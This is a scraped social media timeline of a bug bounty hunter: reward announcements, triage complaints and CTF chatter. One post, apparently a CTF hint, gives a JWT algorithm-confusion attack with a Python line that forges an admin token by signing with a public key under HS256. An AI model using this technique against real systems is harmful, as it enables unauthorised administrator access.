Azam

Former YouTuber • Bug Bounty Hunter 🧑🏻‍💻

[Azam @AzamTak9]

@glitchxserver @yeswehack My assessed triage turned into informative 🥲

[El Professor @wanahmadqais007]

“Don’t just judge a book by its cover”

Even the payment to is enough even got once. Also consider the “darkside” of it.

“Only if accepted”🫤
750$x3
35000$
~37100$

#BugHunterLife #BugBounty

[Azam @AzamTak9]

Just got a reward for a vulnerability submitted on @yeswehack -- Insecure Direct Object Reference (IDOR) (CWE-639). https://t.co/h2rP1goVWN #YesWeRHackers

[Azam @AzamTak9]

@intigriti

[Azam @AzamTak9]

@intigriti I can't pwn billion dollar companies but I would like to play RDR2 even received not applicable 🥲

[Azam @AzamTak9]

@NETGEAR i want to concern about something important!

[Azam @AzamTak9]

Thanks @intigriti
It means a lot to me 🥰

[Azam @AzamTak9]

@will_legeek @intigriti I just ask questions without disclosing anything 🫣

[Azam @AzamTak9]

@intigriti U R Lame 😜

[Azam @AzamTak9]

@intigriti We need to Craft JWT
Step 1 :- Find public key at:
/.well-known/jwks.json
/jwks.json
Step 2. Forge admin token:
`import jwt token = jwt.encode({"role": "admin"}, public_key, algorithm="HS256")`
(Could be done by JWTEDITOR burp extension.)
Step 3 :- You are an admin now!

[Azam @AzamTak9]

@HackenProof Web #GURCTF

[Azam @AzamTak9]

@HackenProof 100M$ enough

[Azam @AzamTak9]

@HackenProof Frustrated

[Azam @AzamTak9]

@chux13786509 @intigriti Any tips?

[Azam @AzamTak9]

@chux13786509 @intigriti Stuck at gopher protocol, don't know how to use it to catch the flag

[Azam @AzamTak9]

@SuyashS91823422 Same 🥲

[Azam @AzamTak9]

@Bugcrowd @narendramodi

[Azam @AzamTak9]

@ehtabbu @Hacker0x01 Keep going 💪🏻